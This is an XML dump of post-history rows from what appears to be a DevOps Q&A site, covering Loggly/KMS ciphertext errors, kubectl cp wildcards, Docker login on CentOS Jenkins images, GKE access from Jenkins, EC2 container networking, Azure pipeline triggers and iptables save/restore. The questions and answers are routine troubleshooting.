  <row Id="36827" PostHistoryTypeId="2" PostId="11984" RevisionGUID="048a3c49-089b-4637-a2fb-0ee6d7cbdd12" CreationDate="2020-07-09T17:20:11.803" UserId="11221" Text="I am trying to use the loggly Lambda blueprint to send cloudwatch logs to loggly. I am doing this because I have a bunch of lambdas that I need to have a single point of viewing logs. I've followed [this guide][1] and have run into an issue when I check the lambda logs after a test&#xD;&#xA;&#xD;&#xA;Command used to do ciphertext&#xD;&#xA;```&#xD;&#xA;aws kms encrypt --key-id alias/logglyCustomerToken --plaintext &quot;&lt;my token&gt;&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;KMS key was created using symetric and default settings, can't delete key to try again or at least I don't know how to delete it and thinking I shouldn't change the code to match a new one&#xD;&#xA;&#xD;&#xA;Lambda log message when failed test&#xD;&#xA;```&#xD;&#xA;INFO	InvalidCiphertextException: null&#xD;&#xA;    at Request.extractError (/var/runtime/node_modules/aws-sdk/lib/protocol/json.js:51:27)&#xD;&#xA;    at Request.callListeners (/var/runtime/node_modules/aws-sdk/lib/sequential_executor.js:106:20)&#xD;&#xA;    at Request.emit (/var/runtime/node_modules/aws-sdk/lib/sequential_executor.js:78:10)&#xD;&#xA;    at Request.emit (/var/runtime/node_modules/aws-sdk/lib/request.js:683:14)&#xD;&#xA;    at Request.transition (/var/runtime/node_modules/aws-sdk/lib/request.js:22:10)&#xD;&#xA;    at AcceptorStateMachine.runTo (/var/runtime/node_modules/aws-sdk/lib/state_machine.js:14:12)&#xD;&#xA;    at /var/runtime/node_modules/aws-sdk/lib/state_machine.js:26:10&#xD;&#xA;    at Request.&lt;anonymous&gt; (/var/runtime/node_modules/aws-sdk/lib/request.js:38:9)&#xD;&#xA;    at Request.&lt;anonymous&gt; (/var/runtime/node_modules/aws-sdk/lib/request.js:685:12)&#xD;&#xA;    at Request.callListeners (/var/runtime/node_modules/aws-sdk/lib/sequential_executor.js:116:18) {&#xD;&#xA;  code: 'InvalidCiphertextException',&#xD;&#xA;  time: 2020-07-08T02:48:55.536Z,&#xD;&#xA;  requestId: 'cf0df165-5a59-4db0-beef-5d1ae3619c37',&#xD;&#xA;  statusCode: 400,&#xD;&#xA;  retryable: false,&#xD;&#xA;  retryDelay: 79.27899980360486&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://documentation.solarwinds.com/en/Success_Center/loggly/Content/admin/cloudwatch-logs.htm?cshid=loggly_cloudwatch-logs" ContentLicense="CC BY-SA 4.0" />
  <row Id="36828" PostHistoryTypeId="1" PostId="11984" RevisionGUID="048a3c49-089b-4637-a2fb-0ee6d7cbdd12" CreationDate="2020-07-09T17:20:11.803" UserId="11221" Text="Unable to send cloudwatch logs to loggly using a blueprint lambda - Invalid ciphertext" ContentLicense="CC BY-SA 4.0" />
  <row Id="36829" PostHistoryTypeId="3" PostId="11984" RevisionGUID="048a3c49-089b-4637-a2fb-0ee6d7cbdd12" CreationDate="2020-07-09T17:20:11.803" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;logging&gt;&lt;amazon-cloudwatch&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36830" PostHistoryTypeId="2" PostId="11985" RevisionGUID="b170c4c2-9946-4003-9c13-3b91647d3689" CreationDate="2020-07-09T19:18:30.010" UserId="10769" Text="Regardless of instance count, you can publish only the port of publicly available app by adding security rule which will allow external traffic into that port's bound host's port, and for the second one just bridge to the first app" ContentLicense="CC BY-SA 4.0" />
  <row Id="36832" PostHistoryTypeId="5" PostId="6726" RevisionGUID="0ad69148-a40c-4cf1-b793-e06f58000604" CreationDate="2020-07-09T21:02:56.170" UserId="13139" Comment="Add further info" Text="Wildcard support was added to `kubectl cp` in the [#72641][1] pull request.&#xD;&#xA;&#xD;&#xA;It is merged but **only available in Kubernetes v1.14.0**. Take a look at the [ChangeLog][2]:&#xD;&#xA;&#xD;&#xA;&gt; Notable Features:   &#xD;&#xA;[...]  &#xD;&#xA;• kubectl supports copying files with wild card&#xD;&#xA;&gt; (#72641, @dixudx)&#xD;&#xA;&#xD;&#xA;However, as stated on the issue [#78854][3] the PR was made without proper tests and **the feature is actually broken**. The PR to fix the problem ([#78928][4]) is open since June, and it's not merged yet.&#xD;&#xA;&#xD;&#xA;Although the PR to fix the feature exists, they [are also considering removing][5] the support to wildcard copy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/pull/72641&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.14.md#notable-features&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/issues/78854&#xD;&#xA;  [4]: https://github.com/kubernetes/kubernetes/pull/78928&#xD;&#xA;  [5]: https://github.com/kubernetes/kubernetes/issues/88670" ContentLicense="CC BY-SA 4.0" />
  <row Id="36835" PostHistoryTypeId="5" PostId="11980" RevisionGUID="a0bce689-5774-430c-b52a-3366bae8394b" CreationDate="2020-07-10T09:02:19.127" UserId="354" Comment="Update link to new github docs url" Text="I guess the simplest and direct solution would be to use GitHub API: https://docs.github.com/en/rest/reference/pulls#create-a-review-for-a-pull-request&#xD;&#xA;&#xD;&#xA;But for the requirement you have, PR checks is usually the way to go and you have a plugin that does the API communication for you: https://www.jenkins.io/doc/pipeline/steps/pipeline-githubnotify-step/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36836" PostHistoryTypeId="2" PostId="11987" RevisionGUID="52d43d55-3de5-4910-a783-0020097e1f12" CreationDate="2020-07-10T13:55:08.333" UserId="17329" Text="For a test purpose I need to use my locally provisioned Jenkins with Vagrant connect to GKE use pods to build. Is that possible, because from what I read K8s will need access to Jenkins as well. How can I achieve that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36837" PostHistoryTypeId="1" PostId="11987" RevisionGUID="52d43d55-3de5-4910-a783-0020097e1f12" CreationDate="2020-07-10T13:55:08.333" UserId="17329" Text="Control GKE CICD from a Jenkins in a lab with private network?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36838" PostHistoryTypeId="3" PostId="11987" RevisionGUID="52d43d55-3de5-4910-a783-0020097e1f12" CreationDate="2020-07-10T13:55:08.333" UserId="17329" Text="&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36839" PostHistoryTypeId="5" PostId="11981" RevisionGUID="0c1c171a-9951-4a76-a30b-00771da520ab" CreationDate="2020-07-10T13:59:36.680" UserId="7646" Comment="added finding about debian base vs centos base" Text="I am setting up a new Jenkins as our old one is based on a deprecated base image.&#xD;&#xA;&#xD;&#xA;Dockerfile is:&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:lts-centos7&#xD;&#xA;&#xD;&#xA;    USER root&#xD;&#xA;&#xD;&#xA;    RUN yum -y install docker \&#xD;&#xA;        &amp;&amp; yum clean all&#xD;&#xA;&#xD;&#xA;    USER jenkins&#xD;&#xA;&#xD;&#xA;When I `docker exec ...` into the container and log into our Sonatype Nexus to pull Docker images from it, the successful login does not seem to be heeded by Jenkins afterwards:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker login https://our.nexus.internal:&lt;endpoint&gt;&#xD;&#xA;    Username (jenkins): jenkins&#xD;&#xA;    Password:&#xD;&#xA;    Login Succeeded&#xD;&#xA;    [root@909fb3a3d52c .docker]# pwd&#xD;&#xA;    /root/.docker&#xD;&#xA;    [root@909fb3a3d52c .docker]# cat config.json&#xD;&#xA;    {&#xD;&#xA;        &quot;auths&quot;: {&#xD;&#xA;            &quot;https://our.nexus.internal:&lt;endpoint&gt;&quot;: {&#xD;&#xA;                &quot;auth&quot;: &quot;&lt;CORRECT base64 hash&gt;&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Login has succeeded, the auth credentials are written to /root/.docker/config.json and when I base64-decode them they are correct &quot;jenkins:&lt;password&gt;&quot;.&#xD;&#xA;&#xD;&#xA;However:&#xD;&#xA;&#xD;&#xA;    [root@909fb3a3d52c .docker]# docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;    Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;This will also happen during execution of a Jenkins pipeline (obviously), where job log reports:&#xD;&#xA;&#xD;&#xA;    docker pull https://our.nexus.internal:&lt;endpoint&gt;/myImage:myTag&#xD;&#xA;&#xD;&#xA;    Error response from daemon: Get Error response from daemon: Get https://our.nexus.internal:&lt;endpoint&gt;/v2/myImage/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    script returned exit code 1&#xD;&#xA;&#xD;&#xA;I assume this to not be a question about nexus but about how the credentials from docker login are stored and used.&#xD;&#xA;&#xD;&#xA;Sidenote: We have a different Jenkins currently operational which is based on jenkinsci/blueocean:1.22.0 which does NOT display this behaviour. It can docker login fine and docker pull fine.&#xD;&#xA;&#xD;&#xA;**edit1:**&#xD;&#xA;&#xD;&#xA;Running `docker-compose` does work while a manual `docker pull...` will not:&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker login https://nexus:port&#xD;&#xA;    Username: jenkins&#xD;&#xA;    Password:&#xD;&#xA;    Login Succeeded&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker pull nexus:port/company/image:myTag&#xD;&#xA;    Error response from daemon: Get https://nexus:port/v2/company/image/manifests/myTag: no basic auth credentials&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# cat docker-compose.yml&#xD;&#xA;    version: '3.3'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;    jenkins:&#xD;&#xA;        user: root&#xD;&#xA;        image: nexus:port/company/image:myTag&#xD;&#xA;&#xD;&#xA;    [root@3eeee032ff08 /]# docker-compose up&#xD;&#xA;&#xD;&#xA;    Creating network &quot;default_default&quot; with the default driver&#xD;&#xA;    Pulling jenkins (nexus:port/company/image:myTag)...&#xD;&#xA;    myTag: Pulling from company/image&#xD;&#xA;    f34b00c7da20: Pull complete&#xD;&#xA;    3f316190de62: Pull complete&#xD;&#xA;    480967924aca: Pull complete&#xD;&#xA;    619ac94672e0: Pull complete&#xD;&#xA;    cb1c6713a236: Pull complete&#xD;&#xA;    55766a17b1c6: Pull complete&#xD;&#xA;    8f6e881b2ef2: Pull complete&#xD;&#xA;    f118a721eee8: Pull complete&#xD;&#xA;    fae3c8e02b83: Pull complete&#xD;&#xA;    093ceb59408d: Pull complete&#xD;&#xA;    e3bd3cbf474d: Pull complete&#xD;&#xA;    41a6f4e5de6d: Pull complete&#xD;&#xA;    aa1aece4c754: Pull complete&#xD;&#xA;    fc897d8ca22f: Pull complete&#xD;&#xA;    Digest: sha256:3fd74169f648784fe960add9c0138e3802a91e82c9b5fdbd734faaeaaef696f9&#xD;&#xA;    Status: Downloaded newer image for nexus:port/company/image:myTag&#xD;&#xA;&#xD;&#xA;**edit2:**&#xD;&#xA;&#xD;&#xA;When not basing off of `jenkins/jenkins:lts-centos7` but off of `jenkins/jenkins:latest`, which is a Debian base, then installing Docker on it using the [official docs][1], login and pulling works:&#xD;&#xA;&#xD;&#xA;    worp@local$ docker run --rm -ti -u root -v /var/run/docker.sock:/var/run/docker.sock jenkins/jenkins:debian-docker bash&#xD;&#xA;&#xD;&#xA;    root@8aec8c792751:/# cat /etc/*-release&#xD;&#xA;    PRETTY_NAME=&quot;Debian GNU/Linux 9 (stretch)&quot;&#xD;&#xA;    NAME=&quot;Debian GNU/Linux&quot;&#xD;&#xA;    VERSION_ID=&quot;9&quot;&#xD;&#xA;    VERSION=&quot;9 (stretch)&quot;&#xD;&#xA;    VERSION_CODENAME=stretch&#xD;&#xA;    ID=debian&#xD;&#xA;    HOME_URL=&quot;https://www.debian.org/&quot;&#xD;&#xA;    SUPPORT_URL=&quot;https://www.debian.org/support&quot;&#xD;&#xA;    BUG_REPORT_URL=&quot;https://bugs.debian.org/&quot;&#xD;&#xA;&#xD;&#xA;    root@8aec8c792751:/# docker login https://nexus:port&#xD;&#xA;    Username: admin&#xD;&#xA;    Password:&#xD;&#xA;    WARNING! Your password will be stored unencrypted in /root/.docker/config.json.&#xD;&#xA;    Configure a credential helper to remove this warning. See&#xD;&#xA;    https://docs.docker.com/engine/reference/commandline/login/#credentials-store&#xD;&#xA;&#xD;&#xA;    Login Succeeded&#xD;&#xA;&#xD;&#xA;    root@8aec8c792751:/# cat /root/.docker/config.json&#xD;&#xA;    {&#xD;&#xA;        &quot;auths&quot;: {&#xD;&#xA;            &quot;nexus:port&quot;: {&#xD;&#xA;                &quot;auth&quot;: &quot;&lt;base64hash&gt;&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;        &quot;HttpHeaders&quot;: {&#xD;&#xA;            &quot;User-Agent&quot;: &quot;Docker-Client/19.03.12 (linux)&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    root@8aec8c792751:/# docker pull nexus:port/company/image:myTag&#xD;&#xA;    myTag: Pulling from company/image&#xD;&#xA;    Digest: sha256:3fd74169f648784fe960add9c0138e3802a91e82c9b5fdbd734faaeaaef696f9&#xD;&#xA;    Status: Image is up to date for nexus:port/company/image:myTag&#xD;&#xA;    nexus:port/company/image:myTag&#xD;&#xA;&#xD;&#xA;This is getting weirder by the minute. I hope I am overlooking something extremely obvious so I feel very stupid afterwards.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/install/debian/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36840" PostHistoryTypeId="5" PostId="11987" RevisionGUID="3172c289-c569-4185-884a-c1250d41db25" CreationDate="2020-07-10T14:02:37.890" UserId="17329" Comment="added 16 characters in body" Text="For a test purpose I need to use my locally provisioned Jenkins with Vagrant in order to connect to GKE and use pods to build. Is that possible, because from what I read K8s will need access to Jenkins as well. How can I achieve that?&#xD;&#xA;&#xD;&#xA;Looks to be possible, but I am stuck on access rights for now:&#xD;&#xA;```&#xD;&#xA;o.fabric8.kubernetes.client.KubernetesClientException: Failure executing: GET at: https://xxxxxx/api/v1/namespaces/cicd/pods?labelSelector=jenkins%3Dslave. Message: pods is forbidden: User &quot;system:anonymous&quot; cannot list resource &quot;pods&quot; in API group &quot;&quot; in the namespace &quot;cicd&quot;. Received status: Status(apiVersion=v1, code=403, details=StatusDetails(causes=[], group=null, kind=pods, name=null, retryAfterSeconds=null, uid=null, additionalProperties={}), kind=Status, message=pods is forbidden: User &quot;system:anonymous&quot; cannot list resource &quot;pods&quot; in API group &quot;&quot; in the namespace &quot;cicd&quot;, metadata=ListMeta(_continue=null, resourceVersion=null, selfLink=null, additionalProperties={}), reason=Forbidden, status=Failure, additionalProperties={}).&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36841" PostHistoryTypeId="2" PostId="11988" RevisionGUID="7cd9febe-efe5-44e3-9071-f8580021bb1d" CreationDate="2020-07-10T14:28:32.560" UserId="17329" Text="Taking the url from cluster-info and creating a config file with jenkins and using at as secret did the trick to pass the connection.&#xD;&#xA;I am still curious how to authenticate with a bearer token though. I have tried to use existing managed Jenkins secret, but it failed with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="36842" PostHistoryTypeId="5" PostId="11988" RevisionGUID="a1915daa-f9c1-4e98-89a3-6dd9bc34ec86" CreationDate="2020-07-10T14:34:00.047" UserId="17329" Comment="added 83 characters in body" Text="Taking the url from cluster-info and creating a config file with jenkins and using at as secret did the trick to pass the connection.&#xD;&#xA;I am still curious how to authenticate with a bearer token though. I have tried to use existing managed Jenkins secret, but it failed with it.&#xD;&#xA;&#xD;&#xA;Update: The authentication happens, but after creating pods the job never runs." ContentLicense="CC BY-SA 4.0" />
  <row Id="36843" PostHistoryTypeId="5" PostId="11988" RevisionGUID="36d77532-91fa-42ae-b7a1-2491116a7a18" CreationDate="2020-07-10T14:53:11.050" UserId="17329" Comment="added 198 characters in body" Text="Taking the url from cluster-info and creating a config file with jenkins and using at as secret did the trick to pass the connection.&#xD;&#xA;I am still curious how to authenticate with a bearer token though. I have tried to use existing managed Jenkins secret, but it failed with it.&#xD;&#xA;&#xD;&#xA;Update: The authentication happens, but after creating pods the job never runs.&#xD;&#xA;Update: It looks like using jenkinsci docker image as a hardcoded podtemplate works, I try to work with Groovy provisioned yaml template that calls GCR and there I got the firstly mentioned error." ContentLicense="CC BY-SA 4.0" />
  <row Id="36844" PostHistoryTypeId="6" PostId="6669" RevisionGUID="656db319-e753-43ec-870f-bf382fde977c" CreationDate="2020-07-10T16:04:03.817" UserId="13139" Comment="Add kubectl tag" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36845" PostHistoryTypeId="24" PostId="6669" RevisionGUID="656db319-e753-43ec-870f-bf382fde977c" CreationDate="2020-07-10T16:04:03.817" Comment="Proposed by 13139 approved by 354, 40 edit id of 1247" ContentLicense="CC BY-SA 4.0" />
  <row Id="36862" PostHistoryTypeId="2" PostId="11990" RevisionGUID="f12e64d4-422e-4970-9449-dab35911c2c8" CreationDate="2020-07-11T12:58:46.580" UserId="8157" Text="I want to make a container hosted on one EC2 host communicate with another contained hosted on another EC2 host.&#xD;&#xA;&#xD;&#xA;Currently, if I send an HTTP request from host A to host B using host B's private DNS and the exposed container port, I receive a response correctly.&#xD;&#xA;However, if I try the same thing within the container on host B, I get a &quot;Host is unreachable&quot; error.&#xD;&#xA;To me, this would indicate it is not a host networking issue, which is configured in AWS, so I won't enter into detail on it.&#xD;&#xA;&#xD;&#xA;What puzzles me is that I have done the exact same thing in our pre-production environment and it works perfectly.&#xD;&#xA;&#xD;&#xA;What could be the issue / where do you think I should look to troubleshoot this? Please keep in mind I'm a noob :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36863" PostHistoryTypeId="1" PostId="11990" RevisionGUID="f12e64d4-422e-4970-9449-dab35911c2c8" CreationDate="2020-07-11T12:58:46.580" UserId="8157" Text="Sending HTTP requests to private EC2 DNS from other EC2 host works, but not from container on EC2 host" ContentLicense="CC BY-SA 4.0" />
  <row Id="36864" PostHistoryTypeId="3" PostId="11990" RevisionGUID="f12e64d4-422e-4970-9449-dab35911c2c8" CreationDate="2020-07-11T12:58:46.580" UserId="8157" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36865" PostHistoryTypeId="5" PostId="11990" RevisionGUID="5603351a-6927-4a62-842d-b3159455a667" CreationDate="2020-07-11T13:04:53.767" UserId="8157" Comment="edited body" Text="I want to make a container hosted on one EC2 host communicate with another container hosted on another EC2 host.&#xD;&#xA;&#xD;&#xA;Currently, if I send an HTTP request from host A to host B using host B's private DNS and the exposed container port, I receive a response correctly.&#xD;&#xA;However, if I try the same thing within the container on host B, I get a &quot;Host is unreachable&quot; error.&#xD;&#xA;To me, this would indicate it is not a host networking issue, which is configured in AWS, so I won't enter into detail on it.&#xD;&#xA;&#xD;&#xA;What puzzles me is that I have done the exact same thing in our pre-production environment and it works perfectly.&#xD;&#xA;&#xD;&#xA;What could be the issue / where do you think I should look to troubleshoot this? Please keep in mind I'm a noob :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36867" PostHistoryTypeId="5" PostId="11990" RevisionGUID="5950de81-658f-42be-81ba-b7ece23301b4" CreationDate="2020-07-12T20:58:33.360" UserId="22373" Comment="Removed filler words" Text="I want to make a container hosted on one EC2 host communicate with another container hosted on another EC2 host.&#xD;&#xA;&#xD;&#xA;Currently, if I send an HTTP request from host A to host B using host B's private DNS and the exposed container port, I receive a response correctly.&#xD;&#xA;However, if I try the same thing within the container on host B, I get a &quot;Host is unreachable&quot; error.&#xD;&#xA;To me, this would indicate it is not a host networking issue, which is configured in AWS, so I won't enter into detail on it.&#xD;&#xA;&#xD;&#xA;What puzzles me is that I have done the exact same thing in our pre-production environment and it works perfectly.&#xD;&#xA;&#xD;&#xA;What could be the issue and where do you think I should look to troubleshoot this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36868" PostHistoryTypeId="24" PostId="11990" RevisionGUID="5950de81-658f-42be-81ba-b7ece23301b4" CreationDate="2020-07-12T20:58:33.360" Comment="Proposed by 22373 approved by 40 edit id of 1248" ContentLicense="CC BY-SA 4.0" />
  <row Id="36869" PostHistoryTypeId="2" PostId="11991" RevisionGUID="ff091494-c264-4e47-a514-6b4be463f6c8" CreationDate="2020-07-13T10:21:21.617" UserId="11759" Text="I want to save the current iptables configuration to a file and restore it from a file.&#xD;&#xA;I have a lot of rules and modifying the rules really hard for me.&#xD;&#xA;So, how can i do that?!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36870" PostHistoryTypeId="1" PostId="11991" RevisionGUID="ff091494-c264-4e47-a514-6b4be463f6c8" CreationDate="2020-07-13T10:21:21.617" UserId="11759" Text="How to Save and Restore the Iptables rule and configuration from file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36871" PostHistoryTypeId="3" PostId="11991" RevisionGUID="ff091494-c264-4e47-a514-6b4be463f6c8" CreationDate="2020-07-13T10:21:21.617" UserId="11759" Text="&lt;linux&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36872" PostHistoryTypeId="2" PostId="11992" RevisionGUID="082952db-2b40-408f-93fa-76cf06401edc" CreationDate="2020-07-13T10:21:21.617" UserId="11759" Text="If you want to modify the configuration and rules, so you must save the current configuration to a file.&#xD;&#xA;So step one is to save the rules configuration by typing the following commands:&#xD;&#xA;&#xD;&#xA;    $ sudo iptables-save &gt; /root/my-iptables.rules&#xD;&#xA;&#xD;&#xA;To restore it just use the command iptables-restore:&#xD;&#xA;&#xD;&#xA;    $ sudo iptables-restore &lt; /root/my-iptables.rules&#xD;&#xA;&#xD;&#xA;⚠️ When you changed the existing rules after saving the file, You should save it again or change the existing file and restore it from the file." ContentLicense="CC BY-SA 4.0" />
  <row Id="36873" PostHistoryTypeId="50" PostId="4398" RevisionGUID="ae14319d-2993-4634-ba5a-202534fa6493" CreationDate="2020-07-13T11:05:50.527" UserId="-1" />
  <row Id="36874" PostHistoryTypeId="2" PostId="11993" RevisionGUID="15746e25-38c7-4707-90b5-1b04b12e6ef0" CreationDate="2020-07-13T13:31:21.663" UserId="7646" Text="I was able to produce a correct behaviour starting from `centos:centos7` base image and installing Docker only (no Jenkins yet) via the steps provided in the official Docker docu:&#xD;&#xA;https://docs.docker.com/engine/install/centos/&#xD;&#xA;&#xD;&#xA;Seen here:&#xD;&#xA;&#xD;&#xA;    [root@d8d441ae6a7a /]# history&#xD;&#xA;        2  yum remove docker                   docker-client                   docker-client-latest                   docker-common                   docker-latest                   docker-latest-logrotate                   docker-logrotate                   docker-engine&#xD;&#xA;        3  yum install -y yum-utils&#xD;&#xA;        4  yum-config-manager     --add-repo     https://download.docker.com/linux/centos/docker-ce.repo&#xD;&#xA;        5  yum install docker-ce docker-ce-cli containerd.io&#xD;&#xA;        6  systemctl start docker&#xD;&#xA;        7  docker ps&#xD;&#xA;        8  docker run hello-world&#xD;&#xA;        9  docker login https://nexus:port&#xD;&#xA;    10  docker login https://nexus:port&#xD;&#xA;    11  docker pull nexus:port/company/image:tag&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # docker pull nexus:port/company/image:tag&#xD;&#xA;    ...&#xD;&#xA;    Status: Downloaded newer image for nexus:port/company/image:tag&#xD;&#xA;&#xD;&#xA;While I still have the faulty behaviour when I install docker via `yum install -y docker`. So it's pretty clear to assume that I'm not facing an issue with the Jenkins Docker images specifically but rather face centos problems with their Docker package.&#xD;&#xA;&#xD;&#xA;I guess there is no need here for an answer. I will go on to talk to the centos people.&#xD;&#xA;&#xD;&#xA;Cheers and thanks for your consideration everyone!" ContentLicense="CC BY-SA 4.0" />
  <row Id="36876" PostHistoryTypeId="2" PostId="11994" RevisionGUID="336daa4f-1800-4bdb-86bf-735e711007cb" CreationDate="2020-07-13T20:53:33.147" UserId="19103" Text="I have a multi-stage pipeline for my terraform code. This is my first pipeline so I am sure I'm missing something but there appears to be some inconsistent behaviour that is rather frustrating. &#xD;&#xA;&#xD;&#xA;The pipeline trigger is defined as follows:&#xD;&#xA;&#xD;&#xA;    trigger:&#xD;&#xA;      branches:&#xD;&#xA;        include:&#xD;&#xA;          - master&#xD;&#xA;      paths:&#xD;&#xA;        include:&#xD;&#xA;          - terraform/*&#xD;&#xA;&#xD;&#xA;My repo has the following folder structure:&#xD;&#xA;&#xD;&#xA;    IaC&#xD;&#xA;     |&#xD;&#xA;     +-- terraform&#xD;&#xA;     |    |&#xD;&#xA;     |    +-- main.tf&#xD;&#xA;     |   &#xD;&#xA;     |    &#xD;&#xA;     +-- azure-pipeline.yml&#xD;&#xA;     +-- readme.md&#xD;&#xA;&#xD;&#xA;My two stages are defined as follows (I cut out the job steps, its just tarraform commands):&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - stage: plan&#xD;&#xA;        displayName: 'terraform plan'&#xD;&#xA;        condition: eq(variables['Build.Reason'], 'PullRequest')&#xD;&#xA;        ...&#xD;&#xA;      - stage: apply&#xD;&#xA;        displayName: 'terraform apply'&#xD;&#xA;        condition: ne(variables['Build.Reason'], 'PullRequest')&#xD;&#xA;        ...&#xD;&#xA;&#xD;&#xA;Whenever I update code in the terraform directory and create a PR, the pipeline works exactly as expected.  It does the terraform plan for the reviewer to see and once the PR is approved, the second stage fires and it does a terraform apply.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The issue I am having is whenever I update a file outside the terraform directory and create a PR, the first stage still runs! Oddly, once the PR is approved, the second stage does not.&#xD;&#xA;&#xD;&#xA;Are my stage conditions to simple? Does a multi-stage pipeline always have to do something?  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36877" PostHistoryTypeId="1" PostId="11994" RevisionGUID="336daa4f-1800-4bdb-86bf-735e711007cb" CreationDate="2020-07-13T20:53:33.147" UserId="19103" Text="Multi-Stage Azure Pipeline with a path trigger - first stage always runs" ContentLicense="CC BY-SA 4.0" />
  <row Id="36878" PostHistoryTypeId="3" PostId="11994" RevisionGUID="336daa4f-1800-4bdb-86bf-735e711007cb" CreationDate="2020-07-13T20:53:33.147" UserId="19103" Text="&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36879" PostHistoryTypeId="2" PostId="11995" RevisionGUID="cd560f58-773f-4641-8900-2f12c4ddb7ec" CreationDate="2020-07-14T05:40:57.253" UserId="8049" Text="There are a couple of things that you can rule out, thanks to the testing that you have already done.  You know your container port has an active network socket, that is listening for and accepting connections.  You also know that your EC2 instance has working networking.&#xD;&#xA;&#xD;&#xA;I can think of three obvious problems:&#xD;&#xA;&#xD;&#xA; 1. Your host is using local DNS resolution to identify your hostname as 127.0.0.1 and your container port is not listening on the loopback adapter. you can test this on the server by pinging your DNS name and see which IP address it pings.  You can also use telnet to connect to the port on 127.0.0.1 and see if that port accepts connections.  To fix this, you may choose to make listening on the local loopback work, but you could also fix this by using a DNS entry other than the hosts AWS generated name.&#xD;&#xA;&#xD;&#xA;2. You are resolving the hostname to its private IP address, which then is filtered by the AWS Security Group. On your security group you have enabled incoming connections to this port, but you have specified the source either as a cidr that doesn't include its own IP address, or as security group that is not attached to this EC2 instance.  This is easy to fix in the security group editor.  To prove that this is working successfully and allowing the connection, you can set up an AWS Flow log which will allow you to see all TCP connections on the Network interface.&#xD;&#xA;&#xD;&#xA;3. The Container hosting which provides the port mapping also has a firewall element that restricts incoming connections to only some IP addresses, and may also provide some diagnostics to assist in understanding whether it receives the connection, and whether it decides to route or reject the connection to the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If it is less obvious, i think you may be in the world of using IP Tables to generate log messages in the syslog as your connection routes though the IP stack.  This will at least allow you to confirm that at a network level you are generating a TCP connection and receiving the connection within the OS." ContentLicense="CC BY-SA 4.0" />
  <row Id="36880" PostHistoryTypeId="2" PostId="11996" RevisionGUID="153bcd6a-b9f9-46f9-9c5e-9d55062c7313" CreationDate="2020-07-14T06:09:58.253" UserId="8049" Text="The first thing to point out, is that you should already be writing IP tables rules to a file, and restoring them from that file at start up - otherwise you will lose all of the rules when the server reboots.&#xD;&#xA;&#xD;&#xA;The standard commands to do this on Debian are:&#xD;&#xA;&#xD;&#xA;    sudo iptables-save &gt; /etc/iptables.up.rules&#xD;&#xA;    sudo iptables-restore &lt; /etc/iptables.up.rules&#xD;&#xA;&#xD;&#xA;**DO NOT EDIT THIS FILE**&#xD;&#xA;&#xD;&#xA;&gt; If you make a change that breaks your networking, killing your access&#xD;&#xA;&gt; to the server, then you can only recover by walking to the computer's&#xD;&#xA;&gt; console, and logging in there to fix the problem.  If thats a Cloud&#xD;&#xA;&gt; server, or in a different city / country / continent you have a bigger&#xD;&#xA;&gt; problem.&#xD;&#xA;&#xD;&#xA;The next issue that i want to cover, is if writing individual rules is hard, the config files just capture the same command that you would type into the terminal window. Using a configuration file does not reduce the complexity here.&#xD;&#xA;&#xD;&#xA;Personally, I would use the existing file to help with the syntax (e.g. find something that already does something that i want to do), and then run that command manually in the shell, and verify that it does what i need it to do by testing the network connections carefully, and thoroughly.  I would then save rules, knowing that they are already working and tested.&#xD;&#xA;&#xD;&#xA;If i messed up, a server reboot, using the management panel for the server would at least restore the previous IP table rules.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
